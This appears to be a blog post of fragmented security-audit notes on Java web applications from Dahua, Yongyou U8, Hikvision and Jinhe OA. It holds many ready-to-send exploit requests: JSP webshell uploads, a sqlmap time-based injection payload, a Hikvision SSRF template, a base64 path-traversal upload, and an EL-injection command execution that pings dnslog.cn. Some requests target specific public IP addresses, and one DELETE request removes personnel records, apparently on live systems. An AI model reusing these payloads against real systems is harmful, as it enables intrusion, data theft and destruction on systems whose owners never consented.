toe6fhmfwk.v3n.pkoplink.com Check to see if there is authentication elsewhere Although the SOAP service is 500, there is no implementation file. It is based on xml format and has no vulnerabilities. I found that there are many jsps in the pages folder. Can't stand it anymore, start sweeping! Although they are all 200, I understand that they are all static pages. No wonder I handed in \"pages\". So far Next 8th Home page (pkoplink.com) The same is to see if authentication can be bypassed. dir .java /s /b There are many java files that few b can access. Next 9th https://86fh7fwk.v3n.pkoplink.com:8443/vims/ There's nothing. I'll never look at jsp files again. 10th!!!!!!!!! WPMS new method 1. Find core .java and use everything to find related folders. Use web.xml to batch create packages. Sequence ①web.xml ②Folder ③ core .java 2. Intruder visits to see the response-length For example, we find dahua through web.xml here dir .class constructs batch packages and gets \"real\" and then intruder good good way Summary 1.web.xml extraction 2.java class control package extraction 3.POST/GET 4.POST+Content-Type: application/x-www-form-urlencoded 4.inrtuder-fuzz 5. View each package based on local files The effect is still very objective Waiting to be done post prevention /WPMS/dataView/saveView、/WPMS/checkLoginPass、/WPMS/getPublicKey、/config/save get prevention /resources/preview.jsp\", \"/config/default\", \"/logoutFind dataView for everything and find that there may be new points Made anti-csrf private List&lt;String&gt; SQL_CHECK_SYMBOL = Arrays.asList(new String[] { \"&amp;quot;\", \"0x\", \"/\", \"/\", \"|\", \"&amp;&amp;\", \"--\", \")\", \"(\", \"\\\", \"..\", \"\", \"&lt;\", \"&gt;\" }); private List&lt;String&gt; JSON_CHECK_SYMBOL = Arrays.asList(new String[] { \"&amp;quot;\", \"0x\", \"/\", \"/\", \"|\", \"&amp;&amp;\", \"--\", \")\", \"(\", \"\\\", \"..\", \"*\" });two /WPMS/1.0.0/domains/getRegisterDomains Of no use But I found this by chance Find out how to upload Remember that there was a \"/config/save\" in the previous post. It happens to be here How to access this point? Blind guess/WPMS/config/save is just that there is no obvious echo, but our previous dataview has already prompted it. According to the package below, you can also confirm that it is here. I didn't expect to find an information leak when I compared it repeatedly. GET /WPMS/config/list/all HTTP/1.1 Host: e6fhmfwk.v3n.pkoplink.com:8443 Sec-Ch-Ua: \"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \"Windows\" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 three /WPMS/properties/dss_install_timestamp The getProperty function is called, which has no holes in itself. At most, there is information leakage (the leakage is still the encoding format of the database) So here it defaults to dss_install_timestamp (it will say _replace with.) So can we construct a fake it to get the information Okay. It seems that the splicing can’t be done. Next 11th！ In fact, we checked quite carefully before, so we usually won’t miss anything, which also shows that our technology is indeed good, but There is a place here that we missed at the beginning, which is the class folder. The things here are also accessible and need to be decompiled. Well, we decompiled the jar package before, but sometimes we need to decompile the class folder. When does it usually happen? ==Of course I recommend decompiling both== the difference 放在lib文件夹的代码是想要作用全局 但是其实这套代码的每个功能的鉴权 配置不一样 所以需要直接奔这个class去 然后如果wml有这种***.****.***.***的映射到lib文件 就需要去翻lib文件In fact, the hole we dug in the tenth step is also in the decompiled package of the class WPMS/WEB-INF/classes.src/com/dahua/wpms/controller/ConfigController.java POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1 Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT User-Agent: Java/1.8.0_345 Host: 127.0.0.1:8443 Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 Content-Length: 243 Connection: close --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT Content-Disposition: form-data; name=\"upload\"; filename=\"1.jsp\" Content-Type: application/octet-stream Content-Transfer-Encoding: binary &lt;%out.println(\"hello\");%&gt; --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT-- 发送以下请求包后，文件将会被保存到 https://127.0.0.1:8443/upload/emap/society_new/目录下，文件会被重命名，但后缀名不变 最终文件名会返回到响应体中 最终shell地址为： https://127.0.0.1:8443/upload/emap/society_new/ico_res_xxx随机字符串_on.jsp The vulnerability is that authentication is done here, but even if hasSubsystem is judged, the subsystem can still be accessed as long as hasSubsystem = true. So how do we adjust to this hasSubsystem? Or in fact, this authentication function can be inserted into many http paths? Now I have three questions 1. Why is this \"action\" missing? ==springframework framework. ACTion is generally filtered by default by developers == 2. Where is the place to do this \"_\" parsing? answer: == is also the default! == In the Java ST2 framework, for functions in the controller (i.e. methods that handle requests), you can use@ActionAnnotation to specify the request path corresponding to the function. By default, the naming convention for request paths isController name_method name,For examplexxx_a, that is, the controller is namedxxx, the method name isa。 3.How does devicePoint call the addImgIco function? not found You will know by combining answer1 and answer2 12th! For classes.src we can arrange it with WEB-INF/views First use WEB-INF/views to verify which ones can be accessed and which ones cannot (echo) as follows: The next step is dir and then put it into intruder The result is that only conferenceManage Of course, you can also look directly at web.xml It’s just that I’m a bit unwilling to give up using black box testing on a website. The next step is to use conferenceManage again in this way. Although you can completely use web. It seems useless. Next Search directly, select, find and traverse During this period, I was also deceived by Huawei Cloud’s CloudDBAspect.class. Finally found out there is something wrong with this place Try traversing Those asterisks need to use our ctrl+shif+f manual method (don’t lose every detail) Since some loaders have a ?system, we can add them again in batches when blasting First do GET (you can check whether the return packet needs to be turned into POST when retrieving one by one) As long as it's not 404, we have to keep track of it. ==Skip directly if you encounter a js file== ==Priority 400 405== Why? Because 400 often means we are missing param and 405 often means there is a problem with our request method. /CardSolution/card/face/get/param GET /CardSolution/card/face/get/param HTTP/1.1 Host: e6fhmfwk.v3n.pkoplink.com:8443 Cookie: JSESSIONID=DFF26EDA4D41C4A2091B16207E928A34 Cache-Control: max-age=0 Sec-Ch-Ua: \"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\" contentType: \"application/json; charset=UTF-8\", Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \"Windows\" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close There is an information leak here. Although it is a fixed sentence pattern, first: he did not change the password. Second: the IP is leaked. I can get the certificate. I got another mid-risk one. /CardSolution/card/department/template/download /CardSolution/statistics/regionConfig/getAllRegion/cims Downloaded is an xlsx template /CardSolution/statistics/regionConfig/getAllRegion I probably can’t hand in the CNVD. /CardSolution/base/function/tree /CardSolution/card/dictionary/getThirdDeviceManufacture should count /CardSolution/card/face/acsRfid/delete It feels like there is a hole, but I didn’t construct the ids. /CardSolution/card/face/acsRfid/page I don't know what to do? Could creating an infinite page cause system memory congestion? What should I do if I encounter these GET filtered out and want to batch POST? Directly select-right-click-scan-ctrl+c and it will appear. Then filter the characters again and POST again Let’s look at the 1149 one first, because there are more There is no good echo. I didn’t even read it. ==Discover a good thing== resources/site/config.js /CardSolution/card/department/delete/10000 It reminds me that I can’t find a way to delete it. CardSolution/card/person/delete/community It should be successful /CardSolution/card/accessControl/swingCardRecord/thirdPartyOpenDoor/getFtp?id=2&amp;swingTime=2 I don’t know how to construct the id /CardSolution/card/accessControl/swingCardRecord/bycondition/download nice. After seeing so many, I know it’s another mid-risk one. GET /CardSolution/card/accessControl/swingCardRecord/bycondition/download HTTP/1.1 Host: e6fhmfwk.v3n.pkoplink.com:8443 Cookie: JSESSIONID=DFF26EDA4D41C4A2091B16207E928A34 Cache-Control: max-age=0 Sec-Ch-Ua: \"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\" contentType: \"application/json; charset=UTF-8\", Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \"Windows\" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close And with this wave of card numbers and personnel numbers, we can go further! ! ! Write down these download addresses first, just in case you can still use them later. /CardSolution/card/department/download /CardSolution/card/accessControl/swingCardRecord/bycondition/download /card/department/download /card/department/template/download /card/accessControl/swingCardRecord/bycondition/download /card/accessControl/swingCardRecord/download Not confidential enough, no medium risk Another mid-risk! ! ! ! ! ! ! ! Then delete the number you just got emmm, I know! ! ! DELETE /CardSolution/card/person/deleteFromHrms/888000 HTTP/1.1 Host: e6fhmfwk.v3n.pkoplink.com:8443 Cookie: JSESSIONID=DFF26EDA4D41C4A2091B16207E928A34 Cache-Control: max-age=0 Sec-Ch-Ua: \"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\" contentType: \"application/json; charset=UTF-8\", Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: \"Windows\" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 13th! sql injection Don’t miss every jsp. What if any control is controllable and non-static? Because there were only 6 jsps left in the previous fuzz, a controllable point was quickly determined. One card remote door opening But I don’t know the controllable function (it’s hard to find it in idea) What should I do? Try burp capturing packets directly POST /CardSolution/resource/tree/search?&amp;systime=1681137043631 HTTP/1.1 Host: 112.30.51.52:8089 Content-Length: 141 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Content-Type: application/json; charset=UTF-8 Origin: http://112.30.51.52:8089 Referer: http://112.30.51.52:8089/CardSolution/doorOpenRemoteControl.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=7830382D4FB1ED0448A4A8AE7FAC7816; JSESSIONID=55DCB4B2F82CE729D739AC2CAFA3D8AB Connection: close {\"showStatus\":true,\"findOrgWhenSearch\":true,\"typeCode\":\"01;0;8;7\",\"hasCheckBox\":false,\"hideEmptyOrg\":true,\"searchKey\":\"dd\",\"allowRFID\":false} /CardSolution/resource/tree/search Take a look inside idea No relevant code found. Direct black box sqlmap test Post package 1.txt is saved and placed in sqlmap python3 sqlmap.py -r 1.txt --technique T -p searchKey One important point is that The new version of sqlmap supports json format -p like this Repeated sqlmap found that there was no error point ==The boss told me that you have to let it trigger first, that is, search for a \"known quantity\" (such as 1), and then capture the packet and release it slowly. Only then can you see the trigger point. If it is an \"unknown quantity\" (such as scrawled asdklashdoas, there will be no trigger point)== catch the bag POST /CardSolution/card/accessControl/channelControl/channels?systime=1675860972982 HTTP/1.1 Host: 8.136.226.77:8089 Content-Length: 22 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 Origin: http://8.136.226.77:8089 Referer: http://8.136.226.77:8089/CardSolution/doorOpenRemoteControl.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=4534CAA5CAFB13EFF250FC3EB7EC26B4; JSESSIONID=F4F24F95A5B967D7CCD02E83BC092FB2 Connection: close {\"channelCodes\":[\"1*\"]} sqlmap wave json+sqlmap directly type * ===\"channelCodes\":[\"1*\",]== More secure G:\\桌面文件夹\\src\\sqlmap-dev&gt;python3 sqlmap.py -r 1.txt -batch ___ H ___ [,]__ ___ ___ {1.7.4.6#dev} |_ -| . [,] | .'| . | |_| [,]_|||__,| | ||V... || https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [17:47:22] [INFO] parsing HTTP request from '2.txt' custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y JSON data found in POST body. Do you want to process it? [Y/n/q] Y [17:47:23] [INFO] resuming back-end DBMS 'mysql' [17:47:23] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: Parameter: JSON #1* ((custom) POST) Type: time-based blind Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: {\"channelCodes\":[\"1') AND (SELECT 2395 FROM (SELECT(SLEEP(5)))AGYF) AND ('ZbgP'='ZbgP\"]} ---0 [17:47:23] [INFO] the back-end DBMS is MySQL web application technology: JSP back-end DBMS: MySQL &gt;= 5.0.12 [17:47:23] [INFO] fetched data logged to text files under 'C:\\Users\\CDxiaodong\\AppData\\Local\\sqlmap\\output\\8.136.226.77' NO.12 I'll give you the whole ==.do== later and you won't have to worry about it. That thing is more complicated ==!Isolation represents calling method== ==Haikang Security is the one== 1. For older versions, see the fastjson port. 2. The new version is low-risk. Take a look at the actuator endpoint of springboot for each route (there is no springboot, but springframework is used) 3.ssrf It seems that the code is not complete NO.13 ==U8GRP== 1th Let’s start with this historical loophole (https://evalshell.com/)(vulnerability library) POST /U8AppProxy?gnid=myinfo&amp;id=saveheader&amp;zydm=../../yongyouU8_test HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=635F2271089E7A7E66F3F84824553DEE Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 01 Feb 2016 08:01:00 GMT If-None-Match: W/\"5732-1454313660000\" Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b Accept-Encoding: gzip Content-Length: 194 --59229605f98b8cf290a7b8908b34616b Content-Disposition: form-data; name=\"file\"; filename=\"1.jsp\" Content-Type: image/png &lt;% out.println(\"yongyouu8\");%&gt; --59229605f98b8cf290a7b8908b34616b-- ==一.U8AppProxy?gnid=myinfo&amp;id=saveheader&amp;zydm=../../yongyouU8_test== WEB-INF\\classes\\com\\mobile\\action\\U8AppProxy.class What information can we get from this string of code? 1. First of all, this U8AppProxy is the U8AppProxy.action file in the project. So we can look for the ==*.action== file 2.gnid and myinfo parameters 3. The following string of id=saveheader&amp;zydm=../../yongyouU8_test are all (new MyInfo()).doGet(request, response); which is the func MyInf in MyInfo.java. Let’s follow it from bottom to top and take a look. But generally when doing defense, the func myinfo is built, so I won’t spend too much time looking at it here. Next, look for other funcs. ==2./UploadFileData?action=upload_file&amp;&amp;foldername=/..&amp;filename=/test.jsp== classes\\com\\ufgov\\midas\\pt\\servlet\\UploadFileDataServlet.class ==Three./servlet/FileUpload?fileName=t.jsp&amp;actionID=update== classes\\com\\ufgov\\midas\\pt\\servlet\\FileUpload.class ==four./Proxy== data ='cVer=9.8.0&amp;dp=&lt;?xmlversion=\"1.0\" encoding=\"GB2312\"?&gt;&lt;R9PACKETversion=\"1\"&gt;&lt;DATAFORMAT&gt;XML&lt;/DATAFORMAT&gt;&lt;R9FUNCTION&gt;&lt;NAME&gt;AS_DataRequest&lt;/NAME&gt;&lt;PARAMS&gt;&lt;PARAM&gt;&lt;NAME&gt;ProviderName&lt;/NAME&gt;&lt;DATAformat=\"text\"&gt;DataSetProviderData&lt;/DATA&gt;&lt;/PARAM&gt;&lt;PARAM&gt;&lt;NAME&gt;Data&lt;/NAME&gt;&lt;DATAformat=\"text\"&gt;select@@version&lt;/DATA&gt;&lt;/PARAM&gt;&lt;/PARAMS&gt;&lt;/R9FUNCTION&gt;&lt;/R9PACKET&gt;'To sum up, we get a few key points: .action \\servlet /Proxy in the same folder 2th Use odeql to automate auditing. During interviews, people often ask \"What automated auditing tools have you used or developed?\" Some people would say seay fortify, but these script-based ones are not very efficient. The best answer is to use codeql to write your own scripts. Another one is the recent chatgpt+token audit. The foreign ban is too serious now (plus the student party has limited funds) Let’s start with codeql and recommend a few projects and articles. https://tttang.com/archive/1541/Taint analysishttps://www.yuque.com/loulan-b47wt/rc30f7codeql complete learninghttps://youtu.be/nvCd0Ee4FgEodeql perfect teaching abroadhttps://tttang.com/archive/1570/#toc_0x06https://github.com/Wker666/wJahttps://tttang.com/archive/1511/https://github.com/webraybtl/CodeQLpy Using codeql for code audit involves some discrete mathematics and stain analysis. I won’t go into details here. We use the tool directly. To borrow the words of uncle uncle We use CodeQL to dig vulnerabilities, which can actually be understood as mining a data link (Data Flow) from Source to Sink. For a set of source code, we can use links written by ourselves, or we can collect links from the Internet codeql database analyze U8GRP \"G:\\Desktop Folder\\src\\codeql\\ql\\java\\ql\\src\\codeql-suites\\java-security-extended.qls\" --format=csv --output=java-results.csv This is the tool used herewebraybtl/CodeQLpy: CodeQLpy is a semi-automated code audit tool based on CodeQL. Currently it only supports the Java language. Implementing the entire process from source code decompilation, database generation, and vulnerability discovery can assist code auditors in quickly locating possible vulnerabilities in the source code. (github.com) It just so happens that the author also uses this tool to conduct automated audits of UFIDA U8grp. python3 main.py -t C:\\Users\\CDxiaodong\\Desktop\\U8GRP codeql database create out/database/U8GRP --language=java --command=\"G:\\codeql\\CodeQLpy-master\\out\\decode/run.cmd\" --overwrite python3 main.py -d G:\\codeql\\CodeQLpy-master\\out\\database\\U8GRP The effect is still very impressive. Now it’s time to test it. start here G:/codeql/CodeQLpy-master/out/decode/classes/com/ufgov/midas/u8pay/U8pay.java Take a look at web.xml comparison interface ==sql can insert any key value== We can't blindly plug in and type things like this. It's easy to get in. We need to take a look at what this logic code is public void SignUp(String gsdm, String xsid, String sxnm) throws Exception { Connection conn = null; PreparedStatement ps = null; try { Date nowTime = new Date(); SimpleDateFormat time = new SimpleDateFormat(\"yyyyMMdd\"); String ymd = time.format(nowTime); conn = (new DataSourceImp()).getConnection(); String sql = \"insert into spp_xwybm (gsdm,xsid,sfsxnm,zt,bmrq) values (?,?,?,0,\" + ymd + \")\"; ps = conn.prepareStatement(sql); LogTools.printInfo(\"校外预报名:\" + sql); ps.setString(1, gsdm); ps.setString(2, xsid); ps.setString(3, sxnm); LogTools.printInfo(String.valueOf(gsdm) + \";\" + xsid + \";\" + sxnm); ps.executeUpdate(); } catch (Exception e) { throw e; } finally { PayTools.closeConnection(conn, ps, null); } }Off-campus pre-recorded names Use pre-written sql in advance \"insert into spp_xwybm (gsdm,xsid,sfsxnm,zt,bmrq) values (?,?,?,0,\" + ymd + \")\";It is necessary to check the sql injection of insert ps = conn.prepareStatement(sql);Precompilation is used here, so there seems to be no holes. Put aside the line about precompilation for now /jatoolsreport?file=1.xml I always feel that the file name can be changed to access it, but it keeps reminding me that \"the specified template cannot be opened.\" Either 1. Does not exist or 2. Insufficient permissions. It is most likely that the file does not exist + the directory has permissions. I don’t know what to do. /TaskManager/EBankTaskServlet?m=6&amp;info=all GET /TaskManager/EBankTaskServlet?m=1&amp;taskjson=1&amp;taskname=1&amp;optionType=create&amp;enabled=true Files can be uploaded automatically here, but there are a few problems 1. It will automatically add the .tjon suffix to the files we upload. 2. As shown in the figure below, the content must be in json format But the good thing is that the file has indeed landed because it cannot be overwritten (it is currently unknown whether the content has been written, but there is no \"file writing failure\" reported in the code, so I feel that it is still written) Another advantage is that as shown below But even if \"&amp;optionType is not equal to create\", it can still be written, but it cannot be used in a white box so that we can verify whether the file exists. ==So now we have several applications== 1. Generate this file to the directory we want to go to 2. Invalidate the .tjon suffix 3. Check whether data is written For the third question, I can call the interface to query So the file is written, but these interfaces will automatically execute runstask, and then when executed again, it will cause an error because it does not belong to json format data. Do not allow cross-directory mailing Next TaskServiceServlet will see if it can write the json-payload execution command I want, so it depends on how runtask processes json data. NO.14 XFire Services (gzzjzhy.com) white-hua said there is a xxe here C:\\Users\\CDxiaodong\\Desktop\\HongjingHCM\\hrms\\WEB-INF\\classes\\META-INF\\xfire\\services.xml The content in services.xml has not been decompiled yet (I am too lazy to find it with hard disk tools) Now reviewing other There are many URLs in XML like this. We need to exclude and fuzz the URLs. Direct awk After filtering, intruder-fuzz servlet/codesettree?flag=c&amp;status=1&amp;codesetid=1&amp;parentid=-1&amp;categories= categories controllable sql injection fieldset has any file to read NO.15 Hikvision ssrf d: hikvision-triggersnapshot-ssrf info: name: hikvision-triggersnapshot-ssrf.yaml author: xxx severity: critical description: 海康iVMS-8700前台认证绕过SSRF漏洞 tags: hikvision,fileupload,camera metadata: verified: true fofa-query: app=\"海康威视iVMS-8700安防综合管理平台\" hunter-query: 'body=\"iVMS-8700综合安防管理平台软件\"' http: raw: - | POST /eps/api/triggerSnapshot/download?token={{to_upper(md5(token))}}&amp;fileUrl=file:///C:/windows/win.ini&amp;fileName=1 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 payloads: token: - \"{{RootURL}}/eps/api/triggerSnapshot/downloadsecretKeyIbuilding\" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - \"for 16-bit app support\" condition: and part: body NO.16 FE @WebServlet( name = \"GetSwfFile\", urlPatterns = {\"/servlet/GetSwfFile\"} )4 1@WebServlet@WebServlet(2 name = \"GetSwfFile\",3 urlPatterns = {\"/servlet/GetSwfFile\"}4)URL parsing There is a file access point here, but the content cannot be echoed. Generally, the following functions are used to echo the content. ==PrintWriterorOutputStream== Another code audit tip: ctrl+shift+f fuzz these functions 1th This method is off the blacklist but uses the String uri = request.getRequestURI(); function This request.getRequestURI() function method has always had this url encoding vulnerability problem, because it does not automatically transcode, resulting in the use of url encoding at the end of the file encoding, which can lead to bypass and arbitrary file reading. As for why we need to read officeServer.jsp, it’s because this file is a Jinhe plug-in and is generally used to store documents. Many codes will use this file. And there is a universal set of cross-directory arbitrary file upload POST /iweboffice/OfficeServer.js%70 HTTP/1.1 Host: 125.76.228.247:9090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: oauser=oauser; JSESSIONID=2213AC10FA91DA50F5D2E87E74576F41 Connection: close Content-Length: 206 DBSTEP V3.0 131 0 8 DBSTEP=REJTVEVQ OPTION=U0FWRUZJTEU= RECORDID=Li4vLi4vLi4vamJvc3Mvd2ViL2ZlLndhci8xMjMuanNw isDoc=dHJ1ZQ== moduleType=dHlwZQ== cName31100 This is it DBSTEP V3.0 131 0 8 DBSTEP=REJTVEVQ OPTION=U0FWRUZJTEU= RECORDID=Li4vLi4vLi4vamJvc3Mvd2ViL2ZlLndhci8xMjMuanNw isDoc=dHJ1ZQ== moduleType=dHlwZQ== cName311002th el expression injection vulnerability POST /common/common_sort_tree.jsp;.js HTTP/1.1 Host: Accept-Encoding: gzip, deflate Content-Length: 95 Accept-Language: zh-CN,zh;q=0.8 Accept: / User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Connection: close Referer: http://oa.meitrack.com:9090/ Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded rootName={%25Thread.@java.lang.Runtime@getRuntime().exec(\"ping -nc 1 dnslog.cn\")%25} rootName = (String) builder.buildExp(rootName);Finally came to this NO.17 new cape Here you can read jsondata. We will command var24 as jsondata for easy viewing. command parameter dpcode content Go to interfaceServiceImpl InformationInterface ifaceDefines = this.informationInterfaceManager.findByAlias(ifaceAlias);This involves database operations. Track them. Although the source code is missing, it can still be proved that the query data resources are Let’s look at interfaceServiceImpl again. invokeResult = this.ecardHttp.getHttpDesResult(jsonObject.toJSONString(), encryptionType, list, desPwd);Take out the url and a despwd and bring in getHttpDesResult Follow up with ecardHttp.getHttpDesResult Follow up with HttpRequestUtils.sendHttpRequestJson Initiate a POST to it through sendHttpRequestJson and pass the json received previously. Therefore, there is no trace of template injection in the code. I can't make a conclusion. I can only make a rough analysis. It is very likely that template injection is caused in this way. The problem lies in the vulnerability of the url interface he queried. NO.18 Chaoxing exceeds authority + information leakage NO.18 Dynamic fuzz 1. Analyze the routing of JavaEE application registration JavaEE applications can register and manage routes in several ways: Servlet映射：在JavaEE中，Servlet是处理HTTP请求和响应的基本单位。通过在web.xml文件或使用注解配置的方式，可以将Servlet映射到特定的URL路径，从而实现路由功能。例如，可以使用@WebServlet注解或&lt;servlet&gt;和&lt;servlet-mapping&gt;元素来配置Servlet的路由。 JAX-RS：如果应用程序采用了Java API for RESTful Web Services（JAX-RS）规范，可以使用JAX-RS注解来定义RESTful风格的路由。通过在资源类或方法上使用@Path、@GET、@POST等注解，可以将URL路径映射到相应的资源类和方法。 Spring MVC：如果应用程序使用Spring框架的Spring MVC模块来构建Web应用程序，可以使用@RequestMapping注解或&lt;mvc:annotation-driven&gt;配置来定义路由。通过在控制器类或方法上使用@RequestMapping注解，可以将URL映射到相应的控制器处理方法。 JavaEE Web框架：除了上述常见的方式外，还有一些JavaEE Web框架，如Struts、JSF等，它们提供了自己的路由配置方式。这些框架通常有自己的配置文件或注解，用于定义URL路径和处理方法之间的映射关系。 What do you see in actual combat? 简单的来说就是看web.xml、application.properties这些文件。 Java类文件：路由配置也可以在Java类文件中进行，特别是使用注解来定义路由的框架。例如，使用Spring MVC时，可以在控制器类中使用@RequestMapping注解来定义路由。 注解配置类：一些框架提供了专门的注解配置类，用于定义路由和其他相关配置。例如，Spring Boot中的@Configuration注解可以用于定义路由配置类，并在其中使用适当的注解来定义路由。 XML配置文件：除了web.xml和application.properties之外，还可以使用其他XML配置文件来定义路由。例如，Spring MVC中的dispatcher-servlet.xml文件可以用于定义控制器和路由的映射关系。 配置文件夹：有些应用程序可能会使用配置文件夹来存储路由配置文件或相关的配置文件。这些文件可以使用不同的文件名和扩展名。在这种情况下，需要查找应用程序中的配置文件夹并检查其中的文件。 For example, Panwei uses xFire. The usage of XFire is relatively simple.META-INF/xfire/services.xmlDefine services that need to be exported. XFire is no longer under development. Its official successor isApache CXF。 As for fuzz, its core is 1. Find the authentication point 2. Write java code to test authentication point packaging 3. useCodeIntelligenceTesting/jazzer: JVM coverage guidance, in-process fuzz testing (github.com)fuzz test","contentHash":"sha256:71bee8ad82c4bcede5df8cba860f66c68020eb13f4b53974b71836f49fec2011","authorName":"I0veD","authorUrl":"https://zyvop.com/author/i0ved","authorSameAs":["https://www.cdxiaodong.life/","https://github.com/cdxiaodong","https://www.linkedin.com/in/%E6%A0%8B-%E7%A8%8B-167b89391/"],"category":null,"tags":[],"audience":"Software engineers and developers building applications with software development","tone":"Professional, cyber security researcher perspective","readingTimeMinutes":33,"wordCount":8724,"faqs":null,"primaryTopic":null,"publishedAt":"2026-08-12T05:22:36.600Z","updatedAt":"2026-08-19T23:10:00.470Z","canonicalUrl":"https://www.cdxiaodong.life/article/17-java-vluns"}